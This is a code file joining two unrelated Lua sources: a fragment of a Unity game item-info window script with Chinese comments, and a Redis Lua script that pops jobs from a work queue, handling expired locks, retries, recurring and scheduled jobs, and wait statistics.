GameObject.Instantiate(self.prefab_Star, self.parent_Star.transform) star.transform.localScale = Vector2(1, 1) star.gameObject:SetActive(true) table.insert(self.listAllStars, star.gameObject) return star.gameObject else for key, value in pairs(self.listAllStars) do if not value.gameObject.activeSelf then value.gameObject:SetActive(true) return value.gameObject end end end end ---刷新描述 function ItemInfoShowWindow:onUpdateDetail() self.txt_DesTitle.text = self.itemConfig.des self.txt_Des.text = self.itemConfig.bg_des end ---刷新跳转 function ItemInfoShowWindow:onUpdateGet() local itemGo = self.itemConfig.item_go if itemGo == nil or #itemGo <= 0 then self.txt_GetDesTitle.gameObject:SetActive(true) self.txt_GetDes.gameObject:SetActive(true) self.content.gameObject:SetActive(false) self.txt_GetDes.text = self.itemConfig.jump_des else self.txt_GetDesTitle.gameObject:SetActive(false) self.txt_GetDes.gameObject:SetActive(false) self.content.gameObject:SetActive(true) self:initView() end end ---初始化跳转列表 function ItemInfoShowWindow:initView() local configGo = self.itemConfig.item_go self.listPathView = {} self.content:InitPool( #configGo, function(index, obj) local value = configGo[index] local config = Config.ItemJump[value] local text_Des = obj.transform:Find("Text_Des"):GetComponent(typeof(Text)) local btn_Go = obj.transform:Find("Button_Go"):GetComponent(typeof(Button)) self:addEventHandler( btn_Go.onClick, function() self:goFuncion(config) end ) local btn_Disable = obj.transform:Find("Button_Disable"):GetComponent(typeof(Button)) self:addEventHandler( btn_Disable.onClick, function() self:disableFuncion(config) end ) btn_Disable.gameObject:SetActive(false) ---暂时关闭未开放按钮 text_Des.text = config.name local _item = {} _item.obj = obj table.insert(self.listPathView, _item) end ) end
-- This script takes the name of the queue and then checks -- for any expired locks, then inserts any scheduled items -- that are now valid, and lastly returns any work items -- that can be handed over. -- -- Keys: -- 1) queue name -- Args: -- 1) worker name -- 2) the number of items to return -- 3) the current time if #KEYS ~= 1 then if #KEYS < 1 then error('Pop(): Expected 1 KEYS argument') else error('Pop(): Got ' .. #KEYS .. ', expected 1 KEYS argument') end end local queue = assert(KEYS[1] , 'Pop(): Key "queue" missing') local key = 'ql:q:' .. queue local worker = assert(ARGV[1] , 'Pop(): Arg "worker" missing') local count = assert(tonumber(ARGV[2]) , 'Pop(): Arg "count" missing or not a number: ' .. (ARGV[2] or 'nil')) local now = assert(tonumber(ARGV[3]) , 'Pop(): Arg "now" missing or not a number: ' .. (ARGV[3] or 'nil')) -- We should find the heartbeat interval for this queue -- heartbeat local _hb, _qhb = unpack(redis.call('hmget', 'ql:config', 'heartbeat', queue .. '-heartbeat')) local expires = now + tonumber(_qhb or _hb or 60) -- The bin is midnight of the provided day -- 24 * 60 * 60 = 86400 local bin = now - (now % 86400) -- These are the ids that we're going to return local keys = {} -- Make sure we this worker to the list of seen workers redis.call('zadd', 'ql:workers', now, worker) if redis.call('sismember', 'ql:paused_queues', queue) == 1 then return {} end -- Iterate through all the expired locks and add them to the list -- of keys that we'll return for index, jid in ipairs(redis.call('zrangebyscore', key .. '-locks', 0, now, 'LIMIT', 0, count)) do -- Remove this job from the jobs that the worker that was running it has local w = redis.call('hget', 'ql:j:' .. jid, 'worker') redis.call('zrem', 'ql:w:' .. w .. ':jobs', jid) -- For each of these, decrement their retries. If any of them -- have exhausted their retries, then we should mark them as -- failed. if redis.call('hincrby', 'ql:j:' .. jid, 'remaining', -1) < 0 then -- Now remove the instance from the schedule, and work queues for the queue it's in redis.call('zrem', 'ql:q:' .. queue .. '-work', jid) redis.call('zrem', 'ql:q:' .. queue .. '-locks', jid) redis.call('zrem', 'ql:q:' .. queue .. '-scheduled', jid) local group = 'failed-retries-' .. queue -- First things first, we should get the history local history = redis.call('hget', 'ql:j:' .. jid, 'history') -- Now, take the element of the history for which our provided worker is the worker, and update 'failed' history = cjson.decode(history or '[]') history[#history]['failed'] = now redis.call('hmset', 'ql:j:' .. jid, 'state', 'failed', 'worker', '', 'expires', '', 'history', cjson.encode(history), 'failure', cjson.encode({ ['group'] = group, ['message'] = 'Job exhuasted retries in queue "' .. queue .. '"', ['when'] = now, ['worker'] = history[#history]['worker'] })) -- Add this type of failure to the list of failures redis.call('sadd', 'ql:failures', group) -- And add this particular instance to the failed types redis.call('lpush', 'ql:f:' .. group, jid) if redis.call('zscore', 'ql:tracked', jid) ~= false then redis.call('publish', 'failed', jid) end else table.insert(keys, jid) if redis.call('zscore', 'ql:tracked', jid) ~= false then redis.call('publish', 'stalled', jid) end end end -- Now we've checked __all__ the locks for this queue the could -- have expired, and are no more than the number requested. -- If we got any expired locks, then we should increment the -- number of retries for this stage for this bin redis.call('hincrby', 'ql:s:stats:' .. bin .. ':' .. queue, 'retries', #keys) -- If we still need jobs in order to meet demand, then we should -- look for all the recurring jobs that need jobs run if #keys < count then -- This is how many jobs we've moved so far local moved = 0 -- These are the recurring jobs that need work local r = redis.call('zrangebyscore', key .. '-recur', 0, now, 'LIMIT', 0, (count - #keys)) for index, jid in ipairs(r) do -- For each of the jids that need jobs scheduled, first -- get the last time each of them was run, and then increment -- it by its interval. While this time is less than now, -- we need to keep putting jobs on the queue local klass, data, priority, tags, retries, interval = unpack(redis.call('hmget', 'ql:r:' .. jid, 'klass', 'data', 'priority', 'tags', 'retries', 'interval')) local _tags = cjson.decode(tags) -- We're saving this value so that in the history, we can accurately -- reflect when the job would normally have been scheduled local score = math.floor(tonumber(redis.call('zscore', key .. '-recur', jid))) while (score <= now) and (moved < (count - #keys)) do -- Increment the count of how many jobs we've moved from recurring -- to 'work' moved = moved + 1 -- the count'th job that we've moved from this recurring job local count = redis.call('hincrby', 'ql:r:' .. jid, 'count', 1) -- Add this job to the list of jobs tagged with whatever tags were supplied for i, tag in ipairs(_tags) do redis.call('zadd', 'ql:t:' .. tag, now, jid .. '-' .. count) redis.call('zincrby', 'ql:tags', 1, tag) end -- First, let's save its data redis.call('hmset', 'ql:j:' .. jid .. '-' .. count, 'jid' , jid .. '-' .. count, 'klass' , klass, 'data' , data, 'priority' , priority, 'tags' , tags, 'state' , 'waiting', 'worker' , '', 'expires' , 0, 'queue' , queue, 'retries' , retries, 'remaining', retries, 'history' , cjson.encode({{ -- The job was essentially put in this queue at this time, -- and not the current time q = queue, put = math.floor(score) }})) -- Now, if a delay was provided, and if it's in the future, -- then we'll have to schedule it. Otherwise, we're just -- going to add it to the work queue. redis.call('zadd', key .. '-work', priority - (score / 10000000000), jid .. '-' .. count) redis.call('zincrby', key .. '-recur', interval, jid) score = score + interval end end end -- If we still need values in order to meet the demand, then we -- should check if any scheduled items, and if so, we should -- insert them to ensure correctness when pulling off the next -- unit of work. if #keys < count then -- zadd is a list of arguments that we'll be able to use to -- insert into the work queue local zadd = {} local r = redis.call('zrangebyscore', key .. '-scheduled', 0, now, 'LIMIT', 0, (count - #keys)) for index, jid in ipairs(r) do -- With these in hand, we'll have to go out and find the -- priorities of these jobs, and then we'll insert them -- into the work queue and then when that's complete, we'll -- remove them from the scheduled queue table.insert(zadd, tonumber(redis.call('hget', 'ql:j:' .. jid, 'priority') or 0)) table.insert(zadd, jid) end -- Now add these to the work list, and then remove them -- from the scheduled list if #zadd > 0 then redis.call('zadd', key .. '-work', unpack(zadd)) redis.call('zrem', key .. '-scheduled', unpack(r)) end -- And now we should get up to the maximum number of requested -- work items from the work queue. for index, jid in ipairs(redis.call('zrevrange', key .. '-work', 0, (count - #keys) - 1)) do table.insert(keys, jid) end end -- Alright, now the `keys` table is filled with all the job -- ids which we'll be returning. Now we need to get the -- metadeata about each of these, update their metadata to -- reflect which worker they're on, when the lock expires, -- etc., add them to the locks queue and then we have to -- finally return a list of json blobs local response = {} local state local history for index, jid in ipairs(keys) do -- First, we should get the state and history of the item state, history = unpack(redis.call('hmget', 'ql:j:' .. jid, 'state', 'history')) history = cjson.decode(history or '{}') history[#history]['worker'] = worker history[#history]['popped'] = math.floor(now) ---------------------------------------------------------- -- This is the massive stats update that we have to do ---------------------------------------------------------- -- This is how long we've been waiting to get popped local waiting = math.floor(now) - history[#history]['put'] -- Now we'll go through the apparently long and arduous process of update local count, mean, vk = unpack(redis.call('hmget', 'ql:s:wait:' .. bin .. ':' .. queue, 'total', 'mean', 'vk')) count = count or 0 if count == 0 then mean = waiting vk = 0 count = 1 else count = count + 1 local oldmean = mean mean = mean + (waiting - mean) / count vk = vk + (waiting - mean) * (waiting - oldmean) end -- Now, update the histogram -- - `s1`, `s2`, ..., -- second-resolution histogram counts -- - `m1`, `m2`, ..., -- minute-resolution -- - `h1`, `h2`, ..., -- hour-resolution -- - `d1`, `d2`, ..., -- day-resolution waiting = math.floor(waiting) if waiting < 60 then -- seconds redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 's' .. waiting, 1) elseif waiting < 3600 then -- minutes redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 'm' .. math.floor(waiting / 60), 1) elseif waiting < 86400 then -- hours redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 'h' .. math.floor(waiting / 3600), 1) else -- days redis.call('hincrby', 'ql:s:wait:' .. bin .. ':' .. queue, 'd' .. math.floor(waiting / 86400), 1) end redis.call('hmset', 'ql:s:wait:' .. bin .. ':' .. queue, 'total', count, 'mean', mean, 'vk', vk) ---------------------------------------------------------- -- Add this job to the list of jobs handled by this worker redis.call('zadd', 'ql:w:' .. worker .. ':jobs', expires, jid) -- Update the jobs data, and add its locks, and return the job redis.call( 'hmset', 'ql:j:' .. jid, 'worker', worker, 'expires', expires, 'state', 'running', 'history', cjson.encode(history)) redis.call('zadd', key .. '-locks', expires, jid) local job = redis.call( 'hmget', 'ql:j:' .. jid, 'jid', 'klass', 'state', 'queue', 'worker', 'priority', 'expires', 'retries', 'remaining', 'data', 'tags', 'history', 'failure') local tracked = redis.call('zscore', 'ql:tracked', jid) ~= false if tracked then redis.call('publish', 'popped', jid) end table.insert(response, cjson.encode({ jid = job[1], klass = job[2], state = job[3], queue = job[4], worker = job[5] or '', tracked = tracked, priority = tonumber(job[6]), expires = tonumber(job[7]) or 0, retries = tonumber(job[8]), remaining = tonumber(job[9]), data = cjson.decode(job[10]), tags = cjson.decode(job[11]), history = cjson.decode(job[12]), failure = cjson.decode(job[13] or '{}'), dependents = redis.call('smembers', 'ql:j:' .. jid .. '-dependents'), -- A job in the waiting state can not have dependencies -- because it has been popped off of a queue, which -- means all of its dependencies have been satisfied dependencies = {} })) end if #keys > 0 then redis.call('zrem', key .. '-work', unpack(keys)) end return response